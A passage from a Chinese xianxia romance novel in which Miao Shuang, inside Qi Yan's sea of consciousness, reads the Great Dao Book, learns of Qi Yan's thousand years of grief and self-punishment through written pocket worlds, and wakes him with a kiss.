越是走近,那剑的轮廓便越是骇人,锋利的剑尖闪着寒光,似要刺穿人的眼,万钧之重的剑身仿佛下一秒就会从空中坠落,将剑下之人碾为齑粉。 寒意源源不断地从剑上渗透出来,顺着剑尖落下,淌落的白雾化作晶莹的雪粒,被寒风卷向四面八方。 苗霜逆着风雪继续接近,明明这里只是识海,他却感觉自己要被活活冻死了,终于走到祁雁面前时,他看到那雪发素袍的仙人已满头白霜,凛冽的寒气将他笼罩其中,似要将他冻结于此。 苗霜仰起头,从这个角度望去,头顶的巨剑更是压迫感十足,让人汗毛倒竖,根本不敢多看一眼。 识海内的景象根据主人的心境幻化而成,这里的景色并不是真的,可这有如实质般的巨剑又代表什么? 他曾对祁雁说,让他去做那仙门首座,高高在上地立于山巅,便可号令天下众生。 祁雁早已是仙门首座了。 可那本该匍匐在脚下的青锋山,却成了悬在头顶的利刃。 苗霜看着眼前的人,心里说不上是什么滋味。 心魔还在身后阴暗地尾随着他,却不知在畏惧什么,不敢靠得太近,只阴阳怪气道:“你在怜悯他?废物有什么值得怜悯,你又不是没跟他双修过,难道不知他识海之内是怎样一副景象?” 苗霜有些诧异地回头:“我何时跟他双修过?” 虽然他的确囤了一大堆双修秘籍,却也没能派上用场。 “没有吗?”心魔顿了一下,又阴恻恻地笑了起来,“那自然最好。” 苗霜:“……” 不想搭理这奇奇怪怪的心魔了,苗霜伸手在祁雁面前晃了晃,对方却没有半点反应。 要怎么才能将他唤醒? 正思考着,寒风吹动地面上的细雪,有什么东西从积雪中露出一角。 苗霜弯腰将那东西从雪中刨出。 这是……一本书? 轻轻拂开书上的雪粒,封皮上几个烫金的大字在他指尖闪过流光。 《大道书》。 苗霜视线一凝。 他对这东西有印象。 大道之书,乾坤之卷,这是仙界至宝,据传是上古之时由天地灵气所化,可自行记录修真界发生的一切大事。 此物数千年来皆由仙门第一大派保管,在青锋派手中已经很久了,祁雁是青锋派掌门,能拿到这书倒也合理。 只是……它应该保存在青锋派的仙宝阁里,为什么会在祁雁的识海? 苗霜将书翻开。 不管了,他或许能够通过这书,搞清楚一千年前他死以后,修真界又发生了些什么事。 第152章 泣血 仙尊难道和那魔头有染? 书页缓缓在面前展开, 起初纸上空白一片,过了一会儿,开始有文字浮现出来。 据说这书会自动根据翻阅者的身份改变字体, 遇到人族则显示人族文字,遇到妖族显示妖文, 不过若是翻阅者境界修为太低,就只能看到一片空白。 几千年前人族修士第一次发现这本书时, 它还是竹简的样子,现在也与时俱进,变成了纸张。 苗霜快速翻了几页,很快发现了有关青冥君的记录,师尊果然没骗他,第一任被杀的魔尊,就是青冥君本人。 后面的内容他没兴趣细看,直接翻到他和祁雁惊天大战的那一页。 他们在万魔峰上打了七七四十九天,落在这书中时, 却不过寥寥数语。 苗霜将手掌按在书页上,凝神静气, 闭眼再睁开,只见纸质书页上泛出水一样的波纹,以他的手掌为中心,一圈圈荡漾开来。 水波从书页扩散到周身,蔓延向整片识海,周遭的景色变了, 一望无际的雪山化作焦土,四野遍地是残砂碎砾——苗霜一眼便认了出来,这里正是万魔峰, 只不过是被他们损毁以后的样子。 彼时的祁雁就在前方,他一动不动地跪坐在地,鲜血染红了他雪白的道袍。 苗霜走上前去。 他看到祁雁怀中抱着“苗霜”——亲眼看到自己死时的画面多少有些诡异,但为了搞清楚真相,他务必要将这些内容看完。 死去的苗霜倒在祁雁怀中,雪色的长发几乎与他的道袍融为一体,苗霜看到“苗霜”微微扬起的唇角,不禁怔住。 原来……那时的自己,是笑着的吗? 祁雁颤抖着伸出手,想要触碰他的脸颊,指尖沾染的血却将他蹭脏了,只得胡乱用袖口抹去,一尘不染的道袍被血污浸透,快要辨不出原本的样子。 他又想帮苗霜整理凌乱的头发,可他浑身颤抖得厉害,折腾了半天也不得要领,反而让头发缠在指间,不小心弄断了几根发丝。 苗霜注视着他,神情复杂。 那时的祁雁还如此笨拙,和他的鸣川师兄一样不善言辞,人们都说他冷淡孤傲难以接近,却不知他只是不懂如何融入人群罢了。 生来便是天上雪,生来便是水中月,真不知道他后来又经历了什么,才能…… 苗霜回头向身后望去。 心魔还在附近,他躲在了一处残破的石头后面,只露出半张脸,阴沉地望着他。 ……才能生出这样的心魔。 祁雁终于放弃了帮苗霜整理仪容,他视线落在对方心口,那柄长剑还死死地嵌在苗霜心脏当中,鲜血已经开始凝固。 他想要把剑拔出来,却根本不敢下手,只怕剑一拔出,尸体会损坏得更彻底,他伸手握住被血污覆盖的剑柄,许久,却没能把剑拔出分毫。 终于,早已耗尽的灵力再次积攒起来,浅淡的白光顺着掌心攀上剑身,只听铮的一声,那柄雪亮的长剑竟从中间断作两截,剑身嗡鸣不止,似在呜咽。 苗霜愣了一下。 祁雁……竟然亲手折断了自己的本命剑? 这剑是他们拜师时师尊所赠,铸剑所用材料是一块世间罕见的寒铁,乃青锋派珍藏千年的灵宝,祁雁灵根为冰,这剑在他手里,威力翻倍不止。 陪伴了他近两千年的本命剑,就这么被他折断了。 断裂的剑刃从“苗霜”伤口中滑落,祁雁终于能把剑从他身体里取出来,他将断剑扔在一旁,紧紧抱住怀中那具渐冷的尸体,哽咽的嗓子几乎吐不出清晰的字句,只一遍又一遍地唤他:“小霜……” 苗霜叹了口气,已经不想再看下去了,正打算跳过这一段,却远远听到谁的声音传来,紧接着是数道由远及近的身影。 合力诛魔的正道修士们再次现身,之前仙尊和魔头的交战他们根本插不进去手,为了不被波及自身,只能有多远跑多远,现在,终于到了验收成果的时候。 隔着老远他们就感觉到万魔峰的魔气散尽了,四野为之一清,毫无疑问,这一次他们又是胜利的一方,邪魔终究难压正道。 修士们笑逐颜开,纷纷向祁雁道贺:“泊雁仙尊又一次救我们修真界于水火,可喜可贺,可喜可贺啊!” “泊雁仙尊不愧是仙道翘楚,青锋派不愧是第一仙门!这天下第一修士的称号,舍仙尊其谁!” “是啊,是啊!这魔头好生厉害,我修道三千年,还从没见过这么厉害的魔修呢!多亏了仙尊出手,不然我们这些人,都要成魔修们的养料了!” “哈哈!不错!”一个身材健硕的赤膊修士拍了拍胸口,“解决了修真界大患,我这心里甚是痛快!此番回去,我牵头,给泊雁仙尊大办庆功宴!我派珍藏的天露酒,拿出来给道友们分了!” “哎呦!项老怪大手笔!”修士们惊叹道,“听说这天露灵液,乃是天露池被魔气污染之前所酿,到现在,得有快万年了吧!” “不过项老怪,你们惊霆刀门除了练刀,还练体,莫非也是这天露灵液的功劳?咱们喝了你家这酒,不会也像你似的,练出一身腱子肉吧?” 项老怪双手叉腰,放声大笑:“哈哈哈哈哈!” “惊霆刀门如此有诚意,我九棋谷也不能让大家看笑话,”一须发皆白的老者轻拨拂尘,“我便拿出谷中至宝,万年灵龙的遗蜕,共存龙血八百四十滴,龙骨一千二百块,龙鳞三万六千片,泊雁仙尊想取几何?剩下的,皆分与诸位道友。” “灵龙遗蜕?!”修士们惊得破了音,“莫掌门此言当真?” 老者轻捻胡须,微微一笑:“落子无悔。” 修士们兴高采烈地商议着庆功宴的事,谈论自己打算拿出什么宝贝来添彩,又暗忖自己能得到什么,一时间人声如潮,竟无人在意那庆功宴的主角,泊雁仙尊始终一言不发。 不知过了多久,才终于有人注意到祁雁的异常,人们渐渐安静下来,向他投去视线。 “仙尊?”有修士上前一步,“仙尊为何久不起身,可是受了伤?在下是医修,仙尊若不嫌弃,可否让我帮您看看?” 祁雁充耳不闻。 “他怎么还抱着那魔头的尸体……”有人小声议论,“那魔头死透了没?” “死透了,绝对死透了,这附近已经没有一丝魔气,想必魔丹都被仙尊捣碎了吧。” “可仙尊的剑好像也断了……” “什么?!” 众人这才惊觉地上有一柄断剑,谁人不知剑对剑修来说有多重要,折了剑就像丧了命,人们立刻明白了泊雁仙尊状态不对的原因,一定是断了本命剑,悲伤过度。 “仙尊莫伤心,我们惊霆刀门最善铸造,一定帮你打一柄更好的!”项老怪拍着胸脯保证。 “你们惊霆刀门打出来的刀品质是不错,可你们只会铸刀,哪会铸剑?”另一个修士道,“还得是我们万剑宗,全修真界剑修的剑几乎都由我们供应,没一个说不好,这铸剑之事就包在我们身上。” “你这家伙……” “既如此,不妨就用我们九棋谷的材料吧,”拂尘老者上前一步,“以龙骨为刃,龙鳞为鞘,龙血淬炼,保证此剑为天下第一利器,正配天下第一的剑修。” “莫掌门此计妙啊!” “仙尊你看如何?仙尊?” 祁雁终于慢慢站起身来。 他抱着那具早已冷却的尸体,低哑的嗓音似含着血气,他没有回应任何人任何门派的攀附,只沉声问:“为何?” “什么为何?仙尊为修真界除此大患,我等自然要答谢仙尊,何谈为何?” “我问你们……为何违背我们的约定,为何背着我私自讨伐魔尊?”祁雁看着怀中已逝的人,如火的红衣被鲜血浸透,而今血迹干了,那衣袍上的斑驳犹如铁锈。 “我的诸天缚魔大阵,明明只差一点就要成了,”他咬着牙道,“只差一点。” “……哈?缚魔大阵?”项老怪抱起胳膊,“你还在研究那鬼东西啊,仙尊?我早都说了,你是个剑修,本就不精于阵法,放眼整个修真界,都没有一个阵修能把它顺利地复原出来,那玩意早就失传了,你执着于此有什么必要?” “说的是啊,仙尊,而今那魔头都死了,您就不必再想那什么大阵了吧?虽然剑断了,我们也为您遗憾,但旧的不去新的不来,有莫掌门提供的灵龙遗蜕,新打造出来的剑绝对不比您以前的差啊。” “我怎么觉着……仙尊有点奇怪啊,”有人低声耳语,“他明明能杀那魔头,却为何要用缚魔大阵?他不会根本不想杀他吧?” “你才看出来吗?我早就想说了,他一直守着那魔头的尸体,不赶紧将其挫骨扬灰以绝后患,反而还抱在怀里,谁家仇敌是这么玩的?” “嘶,你这么一说……之前我就听闻仙尊和那魔头不明不白,我还以为是谁猎奇瞎编的,该不会是真的吧?” “什么?泊雁仙尊和那无恶不作的魔头有染?不可能吧,我不相信!” “仙尊,你究竟是什么意思?”项老怪沉下脸来,“你难道是在怪罪我们不该讨伐那魔头?你可知千百年来,我仙门弟子有多少人死于魔修之手?你们青锋派因诛魔罹难的弟子也不在少数,你身为掌门,难道要为了一个姘头,弃仙道众生于不顾?!” “姘头?哈……”祁雁低笑出声,“看来项掌门早已知道了啊,你们此番故意瞒着我前来万魔峰,就是料定了我不会不顾你们的安危,逼我对魔尊出手,对吧?” 他说着,慢慢转过身来,视线却越过项老怪,落在拂尘老者身上:“为天执棋……九棋谷,将我也算计在内了啊,莫掌门。” 苗霜目不转睛地看着他。 他看到祁雁那张鲜有表情的脸正含着笑意,可那苍白面容上,却分明沁着两道早已干涸的血泪。 第153章 自罚 话本是祁雁写的? 诸天缚魔大阵…… 苗霜对这玩意有些印象, 隐约记得这阵法也是仙道天才青冥君所创,在青冥君以身镇魔之前,一直用这阵法来压制门派中不慎堕魔的弟子。 但随着后来一劳永逸的办法出现, 缚魔大阵便也失传了,青锋派中本就剑修居多, 通阵法者寥寥无几,保存一部早已没用的阵法根本不可能。 祁雁……是打算用这阵法来困住他? 苗霜并不知道缚魔大阵除了缚魔还有什么其他作用, 但至少它叫缚魔大阵,不叫诛魔大阵,想必不会伤他性命。 祁雁果然还是不舍得杀他。 哪怕花上两千年时间去复原一部早已失传的阵法,也不愿意用最简单的方式一剑结果了他,可惜万般努力,最后却败在了自己人手里。 九棋谷这一招可谓是阴到家了,所有化神境以上的修仙者悉数出动,如果祁雁不理会,发狂的魔尊一定会把他们全杀了, 那样的话,正道高阶修士死绝, 平衡被破,修真界必将大乱。 苗霜想了想,觉得如果自己是当时的祁雁,一定也要发疯,说不定还要疯得比他更厉害,不怕被对手杀, 就怕被队友坑,这口气他绝对忍不了。 莫掌门将拂尘回拨:“落子无悔。魔尊一日不除,修真界便无一日安宁, 恕老朽无法认可仙尊缚魔之法,故出此下策。” “好,好一个落子无悔,”祁雁抱着苗霜的尸身从他们面前走过,没有再看莫掌门一眼,而对众人道,“你们所有人,都是自愿前来的,可对?” “仙尊这话是什么意思,除魔卫道,我等义不容辞,难道还能是被逼的不成?” 也有人察觉他话里有话,后退了一步:“呃……我们孤云阁只是来凑个热闹,几大掌门联手诛魔,咱也不能缺席啊。” “泊雁仙尊,”一口宽背砍刀突然拦在了祁雁面前,截住他继续向前的路,“你带着这魔头的尸首,这是要去何处?他死都死了,还是快些将他挫骨扬灰,免得这魔体再污染其他地方。” “项老怪什么时候这么客气了,”另一个修士道,“您不就是想说,泊雁仙尊手眼通天,万一趁大家不注意,又偷偷把这魔头复活了,咱们这一趟岂不是白干了?” 有人阴阳怪气地开口:“说的就是,我看仙尊还是不死心那什么诸天缚魔阵,放不下你那老相好,且不提你那缚魔阵是否真的能成,就算真成了,仙尊就没想过它能坚持多少年?您已是半步合道,想必不久就要破碎虚空而去,留这祸患继续待在修真界,若有一日他破阵而出,又让我们这些小门小派如何啊?!” “不错!斩草要除根,仙尊还是快些毁了这魔头的尸首以绝后患吧!若是您不忍心,我们也可代劳!” “铲草除根!挫骨扬灰!” 苗霜:“……” 真是演都不演了。 不过是看祁雁此时灵力耗尽,才敢蹬鼻子上脸,换作平常,连个屁都不敢放。 看着这些正道修士们丑恶的嘴脸,时隔千年,他竟只觉得好笑。 “仙尊都听到了吧,可不是项某故意为难仙尊,实在是你该给道友们一个交代,”锋利的刀刃缓缓指向祁雁,“你身为仙道首座,却和魔尊私下往来,念在青锋派几千年来为修真界做出的贡献,我们不说什么,只要你交出那魔头的尸首,今日之事我们就当没发生过,回去依然给你大办庆功宴,若是不么……” 他晃了晃刀背上的骨环,咧嘴笑道:“人们都管项某叫老怪,长相怪、规矩怪、品味怪,但最重要的嘛,还是脾气怪。” “我这刀,非化神以下修士不杀,非五千年道行妖族不杀,每杀一个,就用他的脊骨磨成环穿在刀上,如今九环大刀还差一环,若能取泊雁仙尊之骨填这一环,项某死也无憾了啊。” 他紧紧握住刀柄,目光炙热地看着对方,轻舔嘴角,那笑容扭曲又狰狞:“忘了告诉仙尊了,就在不久之前,项某刚刚破关,现在已是炼虚初期,仙尊和魔头一战耗尽灵力,对项某来说也算公平,不如你我打一架如何?” 祁雁淡淡地看着他,面上笑意已散,似乎又回到了往日的样子,冷冷道:“让开。” “我若说不呢?” 宽背大刀破风而来,挥舞间似有电闪雷鸣,雪亮的刀刃直朝着祁雁颈项间砍去,而祁雁长剑已断,手无寸铁,甚至还抱着苗霜的尸身不愿撒手。 刀刃即将砍上他的脖子,却在离他仅有三寸远时堪堪停下,项老怪手臂上青筋暴起,灵力在刀身上疯狂涌动,却无论如何不能再近分毫。 似有无形的屏障将刀势阻隔开,紧接着,刀刃上的一点开始凝出冰霜,冰凌迅速向外扩散,空气为之冻结。 项老怪面色一沉,急忙想收回刀,却不想大刀竟被牢牢冻住,白霜顺着刀身飞速蔓延,眼看着就要攀上他虎口,不得已,他只得弃刀而退,飞身后掠。 祁雁没有再看他一眼,只径直从众人身前走过,每踏出一步,便留下一个霜雪凝成的脚印。 修士们纷纷召出武器法宝,谁都知道此时的泊雁仙尊是最虚弱,若想取他性命,必须趁现在,也只能趁现在。 无数道攻击向他袭来,祁雁终于暴怒:“都给我滚!” 气浪随着他的话音骤然炸裂,裹挟着寒风与冰碴,苗霜都仿佛感觉到了那铺天盖地的威压,下意识地抬起胳膊挡住了脸,然后才想起这只是大道书回溯出的幻象,又表情复杂地放下了。 所有修士被这凛冽的气浪齐齐炸飞出去,项老怪那柄上斩神佛下斩妖邪的大刀居然就在这气浪中碎成了渣,风雪呼啸,天地之间笼罩上一层阴霾。 祁雁仰头看着白茫茫的天,唇边再一次浮现出笑意,那笑容越来越深,越来越猖狂,直至大笑出声:“苍生道……哈哈……这便是苍生道,这便是我守护的苍生!” 血泪自眼底涌出,润湿了早已干涸的泪痕,顺着下颌滴落,数不清的冰川在这片早已夷为平地的魔域拔地而起,从四方向中心合拢,直至遮蔽苍穹。 脚下的土地剧烈震颤,修为稍低的修士皆被气浪炸得口吐鲜血,还没来得及喘口气,又险些被地底下冒出来的冰凌扎成刺猬,人们狼狈逃窜,地动山摇之中连飞行法宝都难以召出,脚屡次陷进地裂缝隙,又差点被冰霜冻结,所有能拿出来的手段全部用来逃命。 即便如此,还是有不少人不慎殒命,时至今日,他们终于真正体会到半步合道的威力。 侥幸活下来的修士们远遁千里,没有一个敢多停留片刻,四方合拢的冰川终于对撞在一起,轰的一声,尘埃落定。 冰川中心留下了一个空腔,祁雁站在这寒意弥漫的方寸之地,周遭数不清的冰壁上皆倒映着他的脸,一张张面容在凹凸不平的冰面上扭曲变形,或哭或笑或惊或怒,诡异至极。 人声退去,耳边终于安静下来。 白光闪过,面前凭空出现了一口冰棺,祁雁小心翼翼地将怀里抱着的人放进冰棺里,靠着冰棺缓缓跌坐下来,似是精疲力竭。 “小霜,我是不是错了?”他轻声问着,“我所证之道,真的正确吗?如果是,为何我总是护不住最想护住的人?” 无人回应他。 只有回音层层叠叠,似是叹息。 即便隔着千年,苗霜也能感觉得到,祁雁的道心开始动摇,大抵就是在那个时候,心魔趁虚而入。 “能不能告诉我……我该如何做?明明已成仙门首座,却依然改变不了任何事……” 祁雁声音渐小,他慢慢合上双眼,疲惫和绝望让他意识昏沉,渐渐睡了过去。 也不知过了多久,忽有光点从他身边飞过,他骤然惊醒过来,只看到冰棺里的尸首竟开始消散。 祁雁愣了一下,有些惊慌失措地站起身,拼命用手去拢,可那些光点却径直穿过他的手掌,在他身边打着旋,而后离他远去。 “不……别走,别走!小霜!!” 他苦苦哀求,冷峻的面容在此时近乎悲怆:“别走……求你……” 苗霜皱了皱眉。 他自己也不明白为什么会这样,按理说他们这种道行的修真者,就算是神魂俱灭,肉|体也没那么容易消散才对。 他的尸身很快便散得什么都不剩,祁雁浑身颤抖着去收集那些飘散的光点,那是苗霜已经碎成无数片的神魂,他用仙术一点点将它们拢在手心,试图再将它们捏合起来。 他先前召出的冰川隔绝了空间,倒是在这种时候起到了至关重要的作用,冰壁阻拦了神魂的逸散,将所有神魂碎片封锁起来。 如果不是这样,他根本不可能将苗霜复活。 也不知道他收集这些碎片花了多长时间,苗霜已经不忍心再看下去了,他将书翻过一页,低头看向自己的手掌。 倒是看不出修补过的痕迹,他的神魂都碎成渣了,居然还能重新拼起来,这世上除了祁雁,恐怕没有第二个人能做到。 看来之前他的猜测没错,祁雁果然是逆天行道复活了他,只是……那后来他们又为什么会穿进话本? 苗霜继续往后翻,想再从大道书里得到些答案,却不想这么一翻,书页突然哗啦一下,散落满地。 苗霜一愣。 这……上古至宝这么不禁碰,翻一下就坏了? 不能够吧,他现在只是法力散尽的魂体状态,哪来那么大的本事? 他弯腰从地上捡起一张散落的纸页,却发觉上面的字体和先前不同,而且这字迹十分熟悉,貌似是祁雁的。 这纸……倒确实是大道书里的纸无疑,但看起来不像是刚掉下来的样子,断口处十分平整,隐隐能感觉到仙力遗留的痕迹。 大道书水火不侵,刀枪不入,更不容任何人更改,什么样的修为才能从上面撕下纸页,还能在纸上写字,祁雁当真是半步合道,快能与天道比肩了。 苗霜仔细阅读纸页上的文字,一目十行地扫下来,内心忽而一惊。 这是……! 他蹲在地上,开始一张张翻看,每一张纸上都是一个故事,而故事的主角无一例外,全部是他和祁雁。 所以他记忆中看到的话本子,是祁雁自己写的?! 这个消息让苗霜不可谓不震惊,他快速翻找着,果不其然,很快就找到了眼熟的那一张,上面写着的,正是他们在凡间经历的种种。 但奇怪的是,这个故事除了第一行,下面的文字竟全被划去,被划掉的文字已经变成了灰色,是祁雁写的,而新生成的黑色字,是大道书本身的笔体。 黑字便是他们最终的结局,灰字的内容却与苗霜记忆中完全不同,在祁雁原本的构想中,他的造反计划居然并没成功,他被季渊以莫须有的谋逆之罪株连九族,亲眷枉死,沦为废人,又和苗疆大巫成亲,他日日忍受来自大巫的折磨,拼尽全力,却在即将成功时功亏一篑,被大巫一剑捅死,而后大巫杀了季渊成为皇帝。 ……这都什么跟什么! 苗霜差点被祁雁写的鬼东西气死,心道还好这结局改了,不然他死了都要被气活过来。 他有些烦躁地在地上继续划拉,捡拾掉落的纸张,忽然,指尖碰到了什么柔软的东西。 他将那玩意从雪中抽出,抖了抖,发现那竟是一条雪白的狐狸尾巴。 这个气息……是妖王? 狐王的尾巴为何会在此处? 他看着手里的狐狸尾巴,又看了看纸页上的字,总算明白了什么。 狐生千面,善幻术,九尾狐的尾巴也有同样的功效,若以狐尾为笔,在纸上写出的文字便可组成一个幻术空间。 那么,如果这纸是从大道书上撕下的纸,就能让虚假的幻术变成真的。 这每一张纸页中,都是一个完整的芥子世界! 这样的方法……亏祁雁想得出来。 苗霜按捺下心中的震撼,又捡了半天,终于捡起最后一张,不多不少,刚好三千张。 三千个芥子世界,三千个不同的故事,三千段不同的人生,这些故事的走向无一例外,全部以悲剧收尾。 所有的“祁雁”都历经千难万险,受尽百般折磨,遭人背叛,失去所有,最终死于“苗霜”之手,被贯心一剑夺去性命。 像在偿还曾经犯下的罪孽。 苗霜抬起头,看向那个盘膝静坐的人。 他终于明白了,这些故事……是祁雁的自我折磨,是他在一遍又一遍鞭笞自己的神魂。 大道书的书页无穷无尽,只要他想,他可以再创造更多的芥子世界,三千个,三万个,三千万个。 这是一场永无休止的自罚。 第154章 苏醒 欢迎回来,鸣川师兄。 时至今日, 苗霜终于记起了一切。 千年前他死在祁雁剑下时,便已了却心中遗愿,他死而无憾, 死得其所,从没想过有朝一日能再醒来, 也从没有任何想要活下去的信念。 或许正因如此,他的尸身才会消散得如此快, 没人能留住一个自愿赴死之人,可偏偏的,祁雁不信这个邪。 祁雁强行将他碎成渣的神魂拼凑起来,修补完全,苗霜不知他是怎样做到的,但那仙术无疑已经堪比神迹,根据他神魂现在的完整程度来看,祁雁当年的复活仪式应该并没有什么破绽。 可死而复生的苗霜却没有醒来,并非他不能醒, 只是他不愿醒,和魔念对抗太久, 早已耗尽了他全部的力气,疲倦让他陷入一场永恒的长眠,十年,百年,千年……他或许就要这样沉睡到时间尽头,直至大道崩毁。 但最终, 他还是苏醒了,只因他在沉眠中感受到了痛苦,那不是他的痛苦, 而是祁雁的。 最初的五百年,祁雁尝试用各种方法将他唤醒,却无一例外都以失败告终,无数次的失败终于将他的理智磨损殆尽,他认为苗霜再也不会醒来了,于是往后的五百年,他开始折磨自己。 或许对那时的祁雁来说,唯有痛苦能暂时抚平内心的愧悔,就像将长剑捅进心口时会觉得畅快,他拿起了那支狐尾笔,在一个又一个芥子世界中把自己折磨得遍体鳞伤,因那是从大道书上撕下的纸页,每一笔每一画皆为真实,哪怕在芥子世界中的只是神魂的投射,本体依然会承受与之等同的痛苦。 这样日复一日的自我折磨,连处于沉睡中的苗霜都看不下去了,他为了阻止祁雁的疯狂举动而醒来,却发觉祁雁早已深陷其中不可自拔,由他亲手创造的世界终于困住了他自己,来自三千个世界的杂音在耳边混响,以至于他根本听不见苗霜的呼唤。 心魔在悔恨和疯狂中蔓生,道心近乎破碎,天上那轮皎月行将被黑暗吞噬,最后一抹光亮消散之时,便是彻底入魔之时。 苗霜不敢想象,祁雁这种家伙如果入了魔,修真界会变成什么样子,或许真像那心魔所说,他要屠尽苍生为他陪葬。 苗霜想阻止他,可神魂受过重创的他根本无力使用狐尾笔,去改变大道书上的结局,情急之下他想出了个不是办法的办法,他也将自己的神魂投射到芥子世界中,试图在世界当中唤醒祁雁。 可他力量稀薄,三千世界只能选择一个,又不知为什么,进入的第一天就忘了自己的任务,或许是修补过的神魂太过脆弱,受到冲击而记忆错乱,他全然不记得被祁雁复活的事,只把那大道书上的内容记成了看过的话本,以为自己还在一千年前,刚和祁雁结束惊天大战,被他一剑结果性命。 阴差阳错地,他并没能唤醒祁雁,却改变了那个世界的结局,原本绝不可能更改的大道书被重新书写,祁雁创造的悲剧结局被他强行扭转。 按理说,逆天行道一定会惊动天道,降下天谴,对于这三千个芥子世界来说,祁雁就等同于天道,他改变世界结局的行为无异于逆天行道,这么大的变动,祁雁一定会察觉,甚至比在世界当中尝试唤醒他还要有效。 苗霜将纸页夹回大道书,缓缓放下书和笔,注视着面前的人。 祁雁应该就快醒了。 等了这许久,他也有些心急,不妨再刺激他一下。 苗霜弯下腰来,把脸向他凑近,正在这时,徘徊在远处的心魔突然消失,一闪过后已经出现在他身边,警惕道:“你要干什么?” 苗霜瞥他一眼,这心魔尾随他许久,却又不肯离祁雁的本体太近,似乎在抗拒什么,这会儿倒是又克服了本能,跑过来捣乱。 他不理心魔,只低头轻轻在祁雁唇瓣上吻了吻,神魂之间的亲吻感觉十分特别,凉凉的,像是在触碰一汪水。 这便是神交的滋味? 还没跟祁雁双修过,双修秘籍没了可以再找,如果有机会,他定要试试。 心魔难以置信地看着他亲吻祁雁,身上缭绕的黑雾突然爆发,腾地一下蹿起,原地表演了一番什么叫“火冒三丈”。 还是鬼火。 “谁准你吻他?!”心魔气得咬牙切齿,黑雾在瞬间将苗霜包裹,“他杀了你,是你的仇人!他该死,他不配你的喜欢!” 苗霜并不挣扎,任凭雾气将他淹没,反正这玩意又不敢真的伤他,不慌不忙道:“你若不想看到我亲他,那你就去杀了他取而代之。” “我若有足够的力量杀死他,还用得着求你帮我?!” “这还真是稀罕,我头一次听说心魔取代本体需要借助外力,”苗霜似笑非笑道,“究竟是你力量不足,还是你根本就没办法?还记得我在将军府对你说过的那句话吗?人不能掐死自己,在这片属于你们的识海,你也没有办法杀死你自己,取自己而代之。” 他说着伸手捧住祁雁的脸,再一次吻了上去,他肆无忌惮地在那冰凉的唇瓣上磨碾,在他的唇舌间索求,即便那山岳般沉重的巨剑就悬在他们头顶,仿佛随时都会坠落,让他们湮灭于此。 他便将这当做生命中最后一次亲热,生与死在这一刻变得不再重要,黑雾在他们身边暴涨,发出刺耳的尖啸,心魔不再维持人形,如烈焰般冲天而起,黑焰烧遍整片识海,将天上的月亮遮蔽殆尽。 周遭更晦暗了,几乎再见不到一丝光,可苗霜却并未停下,他吻得有些忘我,不知是祁雁神魂的滋味令人着迷,还是濒死时更能体会到前所未有的快|感,他闭上眼睛,不再聆听呼啸的风雪,不再关注心魔的搅扰。 他的世界里便只剩下祁雁,只剩下这个吻。 皓月最后的一丝光边也被淹没之时,祁雁终于缓缓睁开了眼,那漫无边际的黑暗便在一瞬间收束,他惨白的虹膜再一次有了颜色,霜发重新化为青丝,黑如泼墨。 笼罩于皓月之上的阴影悉数退去,四野亮如白昼,风雪止歇,绵延千里的雪山在皎洁月光下闪闪发亮,如梦似幻。 祁雁因惊愕而收缩的瞳孔慢慢恢复正常,渐渐清晰的视野中,率先映出的是一张无比熟悉的脸。 苗霜便站在那皎月之下,身披清辉,冲他微微笑道:“欢迎回来,鸣川师兄。” 第155章 出关 我们回家吧。 祁雁看着面前的人, 一时怔住,像是不敢相信,出口的询问都变得小心翼翼:“……小霜?真的是你?你醒了?” 苗霜刚要回他一句“这话应该我来问你”, 忽然听到头顶传来一阵令人头皮发麻的断裂声,裂痕在那巨剑之上迅速蔓延开来。 最令人担心的事情还是发生了, 但苗霜并没打算躲,一来这东西太大太沉, 他根本来不及跑,二来…… 巨剑在顷刻间碎裂,数不清的碎块掉落下来,犹如山石崩毁,就要将他们掩埋其中。 千钧一发之际,那些碎石又在瞬间分崩离析,化作绵绵细雪,从高空簌簌而下,轻落满头。 二来, 这本就是祁雁的识海,周遭的一切皆由心念所化, 这剑已经悬了一千年都没掉下来,现在突然破碎,大概只是因为某人太激动了。 苗霜伸手拂去身上的雪,余光却扫到祁雁眉头一压,像感应到了什么似的,紧接着剧烈的失重感袭来, 苗霜下意识地闭上眼睛,再睁开时,只听“啪”的一声, 一根足有大腿粗的冰锥在半空中炸开,冰碴溅落满地。 苗霜仰头看了看那根冰锥的位置,赫然悬在祁雁头顶正上方,不禁眉尾一挑,揶揄道:“泊雁仙尊一世英名,差点毁在自己冻出来的冰川上。” 祁雁:“……” 当然这只是句玩笑话,像祁雁这种修为境界的修真者,肉|体强度强悍得可怕,青锋山倒下来都不一定能把他砸死,就算真被冰锥击中,碎的也是冰锥不是他。 但那画面还是太滑稽了。 苗霜想象了一下,有些忍俊不禁,索性转过身去环顾四周。 他们已经不在祁雁的识海了,如果他所料不错,这里应该就是当年祁雁用仙术分隔出的那片空间,位于冰川中的空腔。 光线不算很好,但也不至于一片漆黑,有少许阳光经过透明的冰壁,层层折射进来。 苗霜伸手触碰冰面,指尖感受到了阻力,结界散发出淡淡的白光,如水般泛起涟漪。 “小霜……”身后传来祁雁颤抖的声音,许是太久没开口了,嗓子哑得厉害,他起身上前,向他张开双臂。 却扑了个空。 他的手臂径直穿过对方半透明的身体,祁雁一愣,苗霜却笑出了声:“刚刚在识海里你不抱,现在才想起来,太晚了吧。” 祁雁抿了抿唇:“那我们回去。” “不,”苗霜果断拒绝,“我都被你放在识海里养了一千年,好不容易能出来了,让我透口气。” “你现在魂魄不稳,还是不要在外面待太久了。” “哪里不稳?我感觉挺好的,”苗霜道,“至少在你这结界里不会有事,放心吧。” 他都这么说了,祁雁也不好再强行把他收回去,识海对于修真者来说是非常私密的地方,除了双修时,极少会对他人开放。 把别人的神魂放进自己的识海里养着,这种行为其实十分冒犯,但他也没有更好的法子,当时苗霜的魂体过于脆弱,他必须要找一个绝对安全且安静的地方安置他,他的识海无疑是最佳选择。 不知是太久没见了,还是刚刚得知自己这一千年来的所作所为已经被苗霜翻了个底朝天,此时的祁雁看上去颇为局促,他很想回避视线,却又不想苗霜离开他的视野,便只能时不时偷看他一眼,想说什么,又犹豫着不肯开口。 苗霜等了半天也不见他主动,神色渐渐冷了下来:“你就不想解释点什么?把自己关在这鸟不拉屎的地方一千年,日复一日地折磨自己,很好玩吗?很痛快吗?” 祁雁低垂眼帘,一言不发。 “还有那条狐狸尾巴,你又是从哪得来的?你把妖王砍了?” “没,”祁雁终于开口,“是他主动找到我,提出跟我合作,狐尾是他给我的报酬。” 